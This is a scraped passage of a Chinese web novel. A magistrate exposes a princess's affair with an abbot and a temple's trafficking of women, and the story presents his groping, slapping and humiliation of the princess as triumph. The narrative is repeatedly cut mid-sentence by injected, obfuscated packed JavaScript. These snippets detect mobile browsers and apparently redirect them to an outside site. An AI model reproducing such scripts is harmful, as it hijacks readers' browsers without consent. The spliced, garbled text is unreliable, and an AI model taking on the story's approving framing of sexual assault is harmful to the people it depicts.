但眼前女子身上的绸缎,还有那腰间的玉带,无一不在说明,此女是皇室宗亲! 女子不过二十左右,一双眸子勾魂夺魄,眼角睫毛飞扬,眉宇间透露出一股贵气以及狐媚的浪荡气息。 在她身边的和尚,更是唇红齿白,皮肤白皙似乎抹了粉,身穿一身棕色僧袍,手捻佛珠,面上没有半点佛家的宝相庄严,反倒是嘴角勾着淫笑。 两人搂抱在一起,佛珠下摆卡在群裳之中,一只柔荑半推半就,在和尚的肩头不时浮现。 若是这场面放在许攸前世,那他肯定会问车牌号,但放在眼前,他笑不出来。 堂堂皇室,居然和个和尚乱来。 大唐可是有律法,私通者浸猪笼! **! “精彩,真是精彩!” 许攸拍着手,从阴影中走出,眼前的一幕让他大开眼界,没想到在长安城,居然还有如此开放的场面。 听到掌声,亭子中的人,终于有了动静。 年轻和尚向后**一步,袈裟半敞开,露出胸口雪白肌肤。 “你们是什么人,谁让你们到此地的!” “还不滚出去,此乃湖心小筑,任何人不得擅闯!” 虽然和尚的语气很淡定,但他颤抖的尾音,还是将他给出卖。 许攸没回答,而是将目光看向和尚身后的女子。 这时,听到动静的护院武僧,也出现在湖边,不过并未有人靠近。 “回主持的话,此人乃京兆府府尹,不知为何擅闯山门,我等护卫不周,请主持责罚。” 武僧头领面露阴狠,恶狠狠的瞪了眼许攸,转头跪在湖岸边。 听到自己身份被查出,许攸只是微微挑眉,并未有太多的惊讶。 而湖心内的主持,此刻脸色却格外难看。 那张峻峭的脸扭曲在一起,以肉眼可见速度,变得黝黑。 “区区京兆府,居然敢管相国寺的事!” “相国寺乃高祖特封,先皇曾下过旨意,任何人进入相国寺,不得佩戴兵刃,无论皇亲国戚,亦或者凡夫俗子,不得破坏佛门清净!” “是谁给你的狗胆,让你无视天威,敢擅闯我相国寺!” 主持话语声音越来越大,似乎要以这番雷霆话语,将所有事情全部压下去。 面对他的威胁和狂怒,许攸就是玩味的笑笑。 “什么狗屁的天威不天威,真若是有天威,你第一个死!” “破坏佛门清誉,私下和当朝郡主苟合,你的胆子也不小!” “本老爷只是违反先皇的圣喻,但是你们可违反了人伦朝纲!” 许攸不想管这狗屁倒灶的事情,奈何这秃驴自己凑上来挨打。 他就是来查相国寺是不是和梁王有勾结,是不是谋财害命,和卢氏有没有关系。 至于相国寺主持和郡主偷情,和他没半毛钱的关系,偷的又不是他媳妇,他只能拍手叫一句精彩,压根都没打算管。 可偏偏事情出乎许攸的预料,眼前相国寺主持不依不饶,那他也只能动手。 “本老爷乃京兆府府尹,哪怕是天子犯了错,只要在京兆府内,我都有权利过问!” “颠倒人伦,违背朝廷纲纪,光天化日之下行苟且之事!” “若是本老爷没记错的话,相国寺如今还在斋戒期,你等为先皇守陵,就是这么守的么?” 这话一出,眼前的主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002444|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持脸上表情彻底凝固,脸色也瞬间变成煞白。 许攸拿的是大义,从道德人伦来说,从律法来说,他们都是在违背人伦纲常。 “你!你在胡搅蛮缠!” 半天解释不了,主持哆嗦着嘴,只能说出这么一句。 “兄弟,你会不会怼人,不会就滚一边去。” “骂人就骂人,搞得和老子来嫖你似的,没事撒什么娇?” 扑哧! 刚还满脸煞气的主持,听到这话后,眼前金星乍现,一口心头血没憋住,直接喷了出来。 见此一幕,他身后的女子,也彻底绷不住,阴沉的俏脸上,浮现出冰冷杀意。 显然她也没想到,眼前许攸这么难缠,三言两语不但把她心上人给气了个半死,甚至还拿捏住了两人。 然而,两人既然敢如此做,就有依仗。 主持冷笑一声,深吸了口气,眼神再次变得阴郁。 “很好,就算你是京兆府府尹,今日你擅闯禁地,已经是破了先皇的规矩!” “你可知道,本座法号?” “不知。” 许攸眼皮都没抬一下,他可懒得管法号,现在只想查清楚,相国寺到底有没有猫腻。 “本座法号空寂!” “至于本座身边这位,乃是当朝天子亲妹妹,建安郡主!” “你一个小小的京兆府府尹,也敢得罪郡主大驾,打扰本座和郡主论法辩解,你该当何罪!” 说到这里,空寂来了底气,冷笑着看向许攸,眼神变得冷傲和玩味。 冲撞郡主凤驾,只有一个后果,那就是以死谢罪。 空寂双眸中充满杀意,在他的眼中,许攸就是个**,接下来肯定会跪地求饶,求建安郡主免罪。 这种情况**看了多少次,今日不过是一次意外,让这人看到了些不该看的东西。 “你还不跪下,若是郡主殿下开恩,还可免你一死。” “你若是继续执迷不悟,殿下随意在陛下面前参你一本,你九族难保!” 说完这句,空寂便抱着手,念诵慈悲咒,浑然没看到许攸脸上兴奋目光。 第一百二十九章 谁给谁下马威 许攸脸上没害怕,有的是狂喜,那模样让建安郡主心头生出不祥的感觉。 建安郡主终究没忍住心中的狐疑,以及不安,莲步轻移,从空寂身后走出,徐徐来到许攸面前站定。 那张精致的俏脸上,没有先前那狐媚妖娆,剩下的只有端庄,以及无尽威严。 冷傲的眸子轻扫,视线缓缓自许攸身上划过,落到先前说话的那名护院武僧身上。 “是你将他放进来的?” 声音不带半点感情。 那名武僧似乎知道了自己的命运,急忙跪在地上磕头。 “郡主饶命,是此人强闯,小僧并未察觉!” “适才是殿前传来急报,有人闯入,小僧这才贸然进入禁地,还请郡主饶命。” 明明是佛家弟子,现在的表情,却着实有点可笑。 建安郡主凤眸微微眯起,眼底杀意凛然。 “本宫可曾说过,此乃禁地,不得本宫召见,任何人不得擅闯!” “你为何不通报本宫,擅自进入到这禁地之内?” 她的声音很清冷,有几分秦曦的影子,但又多了许多妖媚。 哪怕建安郡主在隐藏,依旧藏不住股子的那股骚。 许攸皱起眉,演戏演演就得了,眼前这小娘们,居然把他当猴,打算杀鸡给他看。 “既然你知道本宫的禁令,为何不遵守,为何会放任他人进来!” 武僧此刻脑袋不停砸在地上,前额鲜血淋漓,早已一片血肉模糊。 即便是这样,他依旧不敢停,只怕停下一刻,就会身首异处。 “小僧知罪,求郡主饶命。” 见此,建安郡主衣袖轻甩,恶狠狠抬起脚,一脚踹在武僧脑袋上。 “废物!” “来人,将他拖出去扒皮抽骨,剁碎了喂本宫的爱犬!” 随着她一声令下,两名黑甲禁卫出现在凉亭外侧。 两人身穿墨色铠甲,手持横刀,步履沉稳有力,大步来到武僧身边,不管对方如何求饶,拖上就往外走。 “郡主饶命,求求您饶了小僧一次。” “小僧上有老,下有……” 声音到此结束,只有沉闷的蒙哼声,从许攸身边擦肩而过。 很快不远处便传来一声惨叫,声音凄厉,犹如恶鬼在嚎叫。 整个过程,许攸除了看戏之外,没有半点的言语。 “精彩,太精彩了!” **! 许攸双手举起,在空中连连拍动。 杀鸡儆猴! 可惜他这个猴,是齐天大圣,而不是任人宰割的猕猴。 “你是京兆府的人?” 建安郡主凤眸微抬,精致下巴横扫,带着高傲,冷冷看向许攸。 许攸没说话,依旧在不停鼓掌。 见此,建安郡主也不在意,冷哼一声,接着道。 “你是谁,本宫不想问,也不想管!” “今日你带人闯入相国寺禁地,惊扰先皇安宁,打扰本宫和空寂阐释论法,你已是个**!” “本宫问你,你!认!还是不认?!” 她的声音并不大,但给人的压迫感,不亚于天威。 空气都在这一刻,彻底凝固, 然而,许攸抬起头,脸上的笑容陡然变成了讥讽。 “讨论佛法,用金刚杵讨论,还是用降妖棒讨论?” “先皇要是知道你这么尽孝,怕不是要气得从皇陵内跳出来,给你两大嘴巴子!” 此言一出,建安郡主的脸色,变得阴沉下去。 旁边的空寂禅师,也是如此,两人眼底都闪过了慌乱。 “既然郡主说是在论佛法,那必然知道我佛慈悲。” “可不知道为何,刚才郡主殿下所作所为,和慈悲两个字,没有任何干系,甚至是背道而驰!” “本官是个小官,但也喜爱佛法,家中有大乘佛法三千卷,熟读金刚降魔,珈蓝斩妖,菩渡厄等妙法。” “要不然,我也和郡主殿下,论论佛法?” 扯犊子而已,许攸还能说自己见过如来。 但这番胡言乱语,却说的建安郡主无法反驳。 许攸的话语,话糙理不糙,字字句句都站在道义和人伦上方,让建安郡主的反驳,成了笑话! 不等建安郡主再次开口,许攸又眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002445|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起眼,这次他的动作更加大胆放荡,直接来到建安郡主面前,伸手将她腰间系带给扯住。 “郡主殿下,天下好男人那么多,你为什么要找个秃驴呢?” “虽然他长得很好看,可若是天子知道此事,你觉得天子会如何处置?” “即便天子不说,你的驸马若是知道,会不会提着刀,把这秃驴给砍成驴肉火烧?” “你!你!” 建安郡主俏脸微红,娇躯更是猛地一颤,险些没站稳。 那张美艳的脸上,此刻没有半点威严和高傲,剩下的只有惊恐,以及……羞愤。 旁边的空寂禅师,而是脸色涨成紫红,看许攸的眼神,犹如杀父仇人。 “你!你放肆!” “还不把你的爪子给……给本宫,嘤咛!” 论耍流氓,许攸就没怕过谁。 他连女帝都敢调戏,别说是个小小的郡主。 建安郡主人都懵了,丰腴臀线被一直大手肆无忌惮的游走,娇躯颤抖无力,偏偏小腹又生出一股燥热。 羞愤难耐之下,她索性闭上眼,梗着脖子尖声怒吼。 “来人!给本宫杀了他!” “杀了她!” 闻言,那两名黑甲禁卫再次出现,冷冷朝着许攸伸手,准备将他给擒住。 就在两人伸手瞬间,许攸嘴角勾起玩味的笑容。 “禁卫?” “墨麟军在本老爷面前,都不敢放肆,就凭你们这些废物!” 能进入禁军,还被挑选成为护卫,两名禁卫也是心高气傲。 看许攸如此轻视自己二人,两人嘴角勾起嗜血笑容,手中横刀陡然出鞘,刀锋直指许攸脖颈。 见此,许攸淡漠的瞥了一眼,手臂微微用力,将建安郡主柔软娇躯给搂进怀里。 “杀!” 话音落下,两名禁卫脸上笑容僵住,瞳孔逐渐放大,呆滞无神的向前方栽倒。 噗嗤。 短暂的延迟后,温热血液喷涌而出,飞溅在建安郡主绝美的脸蛋上。 如此突如其来的一幕,不但吓傻了建安郡主,也把旁边空寂禅师给彻底吓懵。 第一百三十章 当面调戏郡主 “你!你居然杀……杀禁军!” 一股寒意从脚底,直冲建安郡主天灵盖。 她万万没想到,许攸居然狂到这地步,敢目中无人,将禁卫给随手斩杀。 这可是禁卫! 忽然,她的身体再次猛颤,眼神也变得迷离。 “郡主殿下,我对你其实没什么兴趣,我是为了他而来。” “三年前云安公主在相国寺**,最后不了了之,但却查出了一桩巨案!” “如果今日你不想多事,不想丢人现眼,就乖乖给本老爷滚,否则的话。” 啪! 许攸丝毫不客气,也不知道什么是怜香惜玉,扬起手就是一巴掌。 呜呜——! 身为郡主,那可是集万千荣耀与一身,享受不尽荣华富贵,曾几何时,居然被人如此对待? 建安郡主气得发抖,贝齿紧咬下唇,唇瓣上都显出了鲜红。 这是何等的羞辱! “你给本宫等着,今日之耻,来日我要让你千刀万剐!” 许攸不乐意了,他都这样,都不嫌建安郡主脏,对方居然嫌弃他。 “小娘皮,本老爷给你脸了?” 当着空寂禅师的面,许攸直接扛着建安郡主走进凉亭,走到两人快活的地方坐了下去。 建安郡主俏脸血红,连耳根都变成了赤红。 “奸贼,你要作何!” “你快放了本宫,不然本宫现在就入宫,禀告天子,说你欺负我!” 许攸那叫个气,都到这地步了,你**还撒娇,那他什么时候才能死? 他现在已经断定,建安郡主和空寂有**,而且祥国寺内,全都该死。 “别废话,你现在入宫面圣,告诉陛下,我当众将你扒光,还调戏了你!” “要是你不老老实实听话,那我就……” 啪! 建安郡主脑袋一片空白,今日的羞辱,比她一辈子都要多。 私密地方被再次袭击,那种羞耻和悲愤,在她心头交织。 见她半天不回话,许攸心里也火大。 “不说话是吧?” 啪! “装高冷是吧?” 啪! “偷男人的时候,你怎么不高冷?” 啪! 建安公主完全没反应过来,等她反应过来,已经糟了十几巴掌。 身体异样,让她脸色更加红润,就仿佛是个熟透的红苹果。 “不要,不要打了!” 她是真的怕,怕眼前这个疯子。 这疯子根本就不要命,而且手下凶残弑杀,连禁卫都敢杀。 她要进宫,要让这奸贼死无葬身之地。 “我要面圣,我要让你死,让你千刀万剐!” 许攸满意的停下手,早这么说,那至于这么多屁事。 不着痕迹的将手中水渍擦掉,他淡淡起身,将建安郡主丢到长椅上。 “现在就去,别耽误了本老爷的时辰。” “你给本宫等着!” 这个地方,建安郡主是一刻都不想留下,她已经丢够了人,再也不想回来见到许攸。 看着她仓皇而逃的背影,许攸一拍脑门,冲着她身影大喊。 “郡主殿下,记得和陛下说,就说我许攸干的,希望她能降职,弄死我全家!” 噗通! 往前跑的建安郡主一个踉跄,整个人扑到在地,但她却不敢停留,急忙爬起来,再次朝着前方跑出去。 她走后,凉亭内陷入死寂,许攸走到桌边坐下,将桌上茶壶举起,想了想他又放了回去。 “施主,你居然敢如此轻薄郡主,看来本座是小瞧了你。” 空寂禅师心早就沉入谷底,现在他就是强壮镇定,故意摆出如此造型。 但是这样子显然吓不到许攸,尤其是他说话都带着颤音。 “本座乃郡主的人,你当真要动本座?” 事到如今,空寂也知道自己没了底牌,但还是不死心,将建安郡主的大旗给扯上。 许攸撇撇嘴,别说建安郡主,就是来个公主……好像他还真有点怕。 他已经放小公主好几天鸽子,也不知道那小丫头这几天没见到他,会不会想他。 之所以跟着秦曦来长安,其实许攸内心深处,还有个原因。 那就是小公主。 前世的他在小时候,也有个妹妹。 那天他记得,自己本来和妹妹约好,两人一起回家,就因为他想吓一吓妹妹,便故意躲起来。 自从那天之后,他就再也没见过妹妹笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002446|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有一具冰冷的尸体。 小公主的笑容和他内心那个记忆一模一样,他不想让对方伤心,也不想让她难过。 “唉!” 许攸叹了口气,将目光落到空寂上。 “郡主和你如何关系,和本老爷无关。” “本老爷是什么人,你也清楚了,京兆府府尹!” “今日我来办案的!” 办案? 空寂内心咯噔一下,眉宇间迅速升起一股警惕色彩。 “办什么案?” “三年前,云安公主**,相国寺被查出贩卖幼童,还假借送子名义,进行各种人伦道德败坏之举,更巧借官府名录,私自扩充寺庙规模,征收良田,私收税赋。” “此事因先皇驾崩,便特此封存。” “这三年来,长安城内丢失妇女**三千余人,根据本老爷查证,几乎全都在相国寺烧香礼佛过。” “不知道空寂禅师如何解释?” 许攸来之前,自然是查过相关案子。 让他惊愕的是,长安这三年丢失的妇女和女孩及**,居然超过了三千。 并且这些案子全都没上报,只在县级就中止,甚至没送到京兆府。 若不是他今日让罗网调查,压根就不知道这里面还有这回事。 想到之前陆判说的,他更加确定,这里面和卢氏有关! 空寂呆呆的看向许攸,只觉得一股寒意肆虐全身,眼前似乎有无尽的冤魂,在朝着他哭诉。 这些事极为隐秘,只有主持和相关人等知道,连卷宗都被烧毁,眼前的许攸,又是如何知道? “施主,你若是再胡言乱语,可别怪贫僧不留情面!” “相国寺乃佛门圣地,怎么会有如此污秽,你若是没证据,贫僧定要前去议政殿,问一问陛下!” 许攸有证据吗? 他确实没有! 但他没有,不代表别人没有! “空寂禅师,你确定要证据?” “没有证据,那就是在诬告,贫僧为了佛门清誉,也会将你恶行公之于众!” “行,你要证据,那就跟我来!” 丢下这话,许攸施施然起身,朝着前殿快步走去。 他的目标就是那尊塑了金身的佛像! 第一百三十一章 没证据就造证据 不等许攸走到,寺庙内上百名武僧,早已得到消息,挡在佛像面前。 许攸轻笑一声,扭头看向空寂。 “施主,你好大的胆子,你难道不知道,这佛像是梁王为先皇所建?” “你若是敢把佛像推到,那就是蔑视天威,你可知道这是何罪?” 空寂冷笑着看向许攸,佛像有大秘密,可至今无人敢动手,全都因为这佛像乃祭祀先皇。 谁若是动,那就是对先皇的不敬,是要抄家灭族的大罪! “施主,你说贫僧有罪,说相国寺有罪!” “那么请问你的证据呢?” “难不成你看到佛像镀金,就说是有罪?那天下间,为功德者塑金身不知凡几,是否这些人都有罪?” 空寂的双眸死死盯着许攸,眼神中怨毒和愤怒交织。 今日的一切都因为许攸而导致,空寂知道眼前的京兆府府尹可能查到什么。 但没有用! 所有的一切证据,早就销毁,如今剩下的全都是无人敢动。 这就是他的底气,也是他活命的本钱! 他乃是佛门高僧,连郡主都倾心的存在,岂是个小小的京兆府,就能随意拿捏? “大师,你确定我就真没有证据?” 许攸似笑非笑,眼眸之中浮现出轻蔑。 空寂心头大惊,他感受到许攸眼底的杀意和不屑,面容逐渐扭曲。 “贫僧不知道你在说什么,但你要是没证据,那就滚出相国寺!” “此地乃佛门圣地,不是你能随便污蔑!” 说到这里,空寂顿了顿,冷冷的道。 “本座再提醒你一句,本座乃梁王挚友,是几位世子的授业恩师,常常和郡主殿下探讨佛理。” “若是因为你,让郡主殿下心生不满,让梁王蒙羞,那么你可想好了后果?” 一位王爷,一位郡主,全都是皇亲国戚,位高权重的存在。 区区京兆府的府尹,在这两位面前,真不够看。 然而,许攸一脸的戏谑。 “郡主?” “郡主殿下在我面前,真的能横起来?” 刚才他可是当着空寂的面,给郡主来了个深度按摩放松。 甚至还杀了两名禁卫! 就这种情况,足以说明他许攸,根本不怕! “空寂禅师,本来本老爷前来,是调查相国寺一案,既然你现在这态度,那本老爷也不想多查。” “临走之前,我奉劝你一句,若是不想死,那么早点认罪伏法。” “至于这佛门圣地,你……好自为之!” 丢下这话,许攸起身往外走去。 刚到门口他突然停下脚步,再次扭头看向空寂。 “佛家有因果论,你记住!” “因你而亡的那些冤魂,不会放过你,哪怕是九幽地狱,你也难逃!” “本老爷会亲自送你去,让你感受地狱轮回痛苦!” 说到这里,许攸大笑着摇头。 看着他的背影,空寂表情不断变化。 “许攸,你惹了不该惹的人,你该死!” …… 走出相国寺,没走多远,许攸就看到站在路边等他的箫成。 箫成身边那个女扮男装的富家小姐,早已不见身影,只留下他一人。 “许大人,你这是?” 箫成看到姜琦身上的血迹,心中狐疑不定。 面对他疑惑的神情,姜琦很是淡然的道。 “杀了两不开眼的禁卫。” “哦,两个不开眼的禁卫……” 箫成嘴巴张大,呆呆看向许攸。 禁卫是什么? 那不是出现在深宫内苑的存在,怎么会出现在相国寺? 说句难听的话,以许攸的身份遇到禁军统领,都得恭恭敬敬行礼问好。 天子身边的禁卫,那都是连三公都要低眉的存在,而如今居然有人敢杀禁卫。 “许大人,您没说笑吧?” “说什么笑,我没事逗你玩么?这相国寺有猫腻,那空寂大师不是什么好鸟。” 箫成人都是傻傻的。 是不是好鸟,和他没关系,但现在许攸把禁卫给宰了。 “大人,您怎么能动禁卫呢?” “就是再大的案子,也不能动禁卫,那可是天子的亲随!” “杀禁卫,那是株连九族的大罪!” 许攸嘴角浮现出一丝玩味。 “那如果这些禁卫,看到了点不该看的,比如郡主偷情呢?” “啊?!” 箫成一下子不说话了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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箫成又头疼了,得罪一位郡主,这还能活,但得罪了李昌,那等于是找死。 他现在很不明白,为什么许攸执意要把朝野上下得罪一遍。 “大人,要不咱们把事情上报,让刑部来处理?” 许攸轻笑一声,这才是他想要的。 不得罪人,他**? “箫成啊箫成,你以为今日我调戏了郡主后,陛下就会治我死罪?” “难道不是吗?等等!” 箫成眼珠子瞪圆。 “大人您……您还调戏了郡主?” 第一百三十二章 告御状 箫成脑瓜子嗡嗡作响。 自古就没调戏郡主,还能留全尸的。 他这位上司,刚上任还没七日的京兆府府尹,到底有多大的胆子,居然敢调戏郡主。 许攸笑眯眯的伸手,在箫成胳膊上拍了下。 “你不会觉得天子,当真会念在姐妹情分上,袒护建安郡主吧?” “难道不会吗?” 箫成下意识的反问。 要是自己姐妹被调戏,他肯定会抄起刀就和对方拼命。 再者天子无比爱惜羽翼,如此事情传出,皇室威严不保,哪怕是出于皇室威严考虑,那也会严肃处理。 许攸摇摇头,若是如此简单,那么他怎么会到现在还没死? “在陛下的眼底,皇室威严固然重要,但她需要的是国泰民安,是风调雨顺,是百姓们安居乐业!” “若是让她知道,整个京兆府这些年失踪如此多的人,她却半点不知情,你说整个京兆府会如何?” “郡主,和尚,梁王,先皇以及皇室的威严,在陛下的心底,可比不上百姓!” “但百官们可不会如此,他们比天子更加重视这些虚无缥缈的东西!” 说到这里的许攸,声音变得惆怅。 “若是陛下真愿意杀我,那我也甘愿受罚。” “可惜!” 箫成的脸色煞白,他不是不懂,也不是不明白,只是被这背后巨大的背景给吓到。 相国寺背后是梁王,而许攸不但调戏了郡主,还得罪了梁王和门下省侍中,更是把资助相国寺的世家卢氏给得罪。 综合起来,单单相国寺不可怕,可怕的是背后千丝万缕的关系,甚至关乎到了皇室,整个皇室的脸面! “这对陛下而言,是一次机会,一次为百姓伸冤,为天下百姓做事的机会。” “但也同样,是一次树立皇家威严,肃清朝野的机会!” “你说,如果你是天子,你会如何选?” 最后一句话,直戳箫成的心。 许攸说完,背着手一步步朝着马车走去。 关于箫成的背景,其实他早就知道,只是懒得提,也懒得问而已。 大唐异姓王只有一位,那就是康王,但王爷有好几位,其中有个王爷膝下无子,便收养了好几个义子。 箫成只是其一,他想要借助许攸的手,展露头角,让当今天子看上。 对这种事,许攸只是笑笑。 “走吧!” “今夜咱们就抓贼抓脏,让相国寺真面目彻底暴露!” 许攸眼底闪烁起精光,他就是要诈,诈的所有人都不敢动,诈的他们为了维护自己利益,不得不铤而走险。 …… 皇城内,秦曦刚沐浴完,正躺在卧榻上,手持香茗,安静的品着茶。 昨日她险些没被气死,但想想之后,又觉得是许攸能做得出来的事情。 “舅舅,今日可有大事发生?” “并无。” 李牧坐在不远处,老神在在的品着茶,手里也捧着一卷书,安静的品读。 “那许攸呢?” “今日似乎去了相国寺,多半是打算烧香礼佛。” 烧香礼佛? 秦曦嗤了一声,她才不信那混蛋,眼底会有佛,多半是故意跑去找事。 就在两人讨论此事时,门外太监突然拉长声音奏报。 “启禀陛下,建安郡主求见。” 声音刚落,娇滴滴带着委屈的声音,自门外传来。 “姐姐,你要为我做主。” 秦曦抬起头,便看到建安郡主从外面冲进来。 那娇滴滴的身形,以及凌乱的衣裳,都在诉述建安郡主可能遭遇了一场恶战。 “建安你怎么来了,吃过没有?” 毕竟是自己的妹妹,虽然不是一母所出,但秦曦对建安也是极为宠爱。 不但为她开了个郡主府邸,还将她赐婚给李昌的长子。 如今见到建安哭哭啼啼的,秦曦脸色逐渐阴沉。 “是谁惹你不开心,和朕说说,难不成是李建?” 建安闻言快走几步,来到秦曦的身前,扑通一下跪伏在她的面前,金豆豆更是不停从眼角滑落。 “姐姐,建安……建安不想活了!” 大殿内陷入一片冰寒。 秦曦攥紧拳头,俏脸上也密布寒霜。 “谁惹了你,朕必当诛他!” 见此,建安郡主便仰起头,委屈的将事情道出。 “今日妹妹去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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建安郡主私通 秦曦那叫个气! 大家都是女人,她比建安郡主大三岁,但无论是容貌还是身材,那都比建安郡主好一万倍。 结果她送上门的,许攸这狗东西不要,反而跑去相国寺,当着个和尚面,调戏建安郡主! 今日许攸不给她个合理解释,她势必要阉了这狗东西! 负责传信的是王公公,只是半个时辰过去,秦曦脸色不停变化,依旧没见到许攸人影。 见到去而复返的王公公,秦曦那张俏脸上的表情彻底变化。 “人呢?” 那声音不高,但充斥着寒意,似乎是九幽寒冰,能够把人给冻死。 王公公跪在地上,浑身被汗水打湿,整个人不停颤抖。 “启禀陛下,许大人说……说没空。” 啪! 秦曦手中的茶盏掉落,整个人从龙椅上起身,一双凤眸死死盯着王公公。 “你的意思是,朕传召他,还得问他有没有空?” 王公公更慌了,他也没办法,他从京兆府追到通济门,又跑到宣武门外,这才找到了许攸。 结果许攸压根没空搭理他,在得知来意后,直接来了句“没空”,带着五十骑消失不见。 “陛下,许大人好像是去了灞水,但是去做什么,老奴不得而知。” “去了灞水?” 秦曦的脸上怒意消散,疑惑的看向李牧。 李牧也皱起眉,这完全不像是许攸的性格,在他认知中,许攸一直都是不怕死,做事狠辣果断,又精通为人处世,是个不折不扣的滑头。 这样的人什么时候会不管圣意,连天子召见都不管? “陛下,此事看来必有蹊跷!” “相国寺和梁王有关系,整个相国寺兴建,长安富户都出力不少,其中卢氏、李氏等出力出资最多。” “臣怀疑他此次是故意的!” 秦曦的目光陡然一变,她也想到了这点。 许攸这个人很奸诈,也很狡猾。 无的放矢,绝对不是这个人的性格! “传令,让王亮即刻进宫!” “遵旨。” 不到盏茶时间,王亮屁颠颠从宫殿外面跑来,浑身上下也都被汗水打湿,官帽斜耷拉在头顶,腰间绶带都松开了一截。 他没空整理,进入大殿后,立刻躬身行礼。 “臣,叩见陛下。” 此刻天色逐渐黑下来,如此时刻被单独召见,绝对没好事。 王亮额头冒出细密汗珠,心里暗骂两句。 “王亮,朕问你!” “许攸今夜出城,直接去了灞水,你对此事如何看?” 秦曦开门见山,直接开口询问。 王亮刚把头抬起,听到是关于许攸的,不由嘴角抽抽,再次在心里骂了两句。 他就知道那钱不好拿,许攸这混蛋,果然给他找麻烦了! 见他不说话,秦曦目光冰冷,冷冷的再次问道。 “怎么?” “难道朕问你话,你也要犹豫,是在心中打腹稿,如何欺瞒朕吗?” 这话一出,差点把王亮尿吓出来。 以前秦曦虽然冷,但好歹做事有章法礼度,根本不是现在这么蛮不讲理。 王亮那叫个郁闷,见秦曦满脸冷意,知道事情瞒不住了,干脆咬牙将事情全部道出。 “启禀陛下,臣有罪!” “臣今日早间上报,刑部走水一事是假,是为许攸做掩护!” “今日许攸来到刑部,取走一份陈年卷走,事关相国寺。此事事关重大,臣不得不防,才冒险将卷宗烧毁!” 什么?! 秦曦啪的一下,左手拍在桌案上,整个人都从椅子上直立而起。 相国寺可是梁王为先皇祈福所建,在先皇去世后,更是守孝三年。 当年先皇未曾去世前,确实查过有大案,但随着先皇去世,这件事也不了了之。 “何事?” 秦曦的柳眉皱的更紧,她隐约察觉到,此事怕是不一般。 王亮无奈,暗骂许攸是个害人精的同时,只能把事情的真相道出。 “云安公主曾经在相国寺**,臣负责清查此事,在追查过程中,臣发现相国寺有侵占田地,**香客,以及拐骗妇女等行为。” “此事因时间太长,臣一直没查明,只查到一半,便遇先皇驾崩,自此卷宗封存,一直没继续动过。” “直到最近,许攸突然上门,这才……” 王亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王亮额头一滴冷汗顺着脸颊滑落,整个人瑟瑟发抖,浑身肌肉不断痉挛。 御书房内除了他的呼吸声之外,连一点动静都听不到。 过了几息,王亮终于扛不住,整个人往地上跪去,脑袋不停磕在地板上。 “陛下饶命,并非臣不愿上报,此事……此事事关重大,若是……臣……上报,恐怕……恐怕身家性命……难保。” 说到这里,王亮的声音中,已经带着哭腔。 “建安郡主曾警告臣,此事关于云安公主,她曾言会查明云安公主的死因。” “臣不敢贸然查探,相国寺又是梁王为先皇祈福而立。” “先皇驾崩后,臣曾派人进入打探,却无功而返,臣罪该万死……” 说到最后,王亮的声音越来越小。 他是怕惹麻烦才故意不管这事,谁知道**,郡主居然私通个和尚。 得到这条消息时候,他只感觉天塌了,呆在家中半天没反应过来。 有王家的身份,他虽然不至于死,但少不得要割肉放血。 秦曦眼眸冰冷,王亮说的声音极小,但她可是听得清清楚楚。 这话说的简单,实际上就是建安郡主利用自己身份,和天子宠信,故意私通,并且隐瞒相国寺的罪行,这压根不是提醒,而是赤裸裸的威胁。 威胁当朝三品尚书,逼迫整个刑部不敢吱声,让此案彻底成了悬案,此时也太过骇人。 她的妹妹,皇家贵胄,本应该享受万人敬仰,如今却比青楼勾栏内的风尘女子还要骚浪,还要不知道廉耻。 国法,成了笑话! 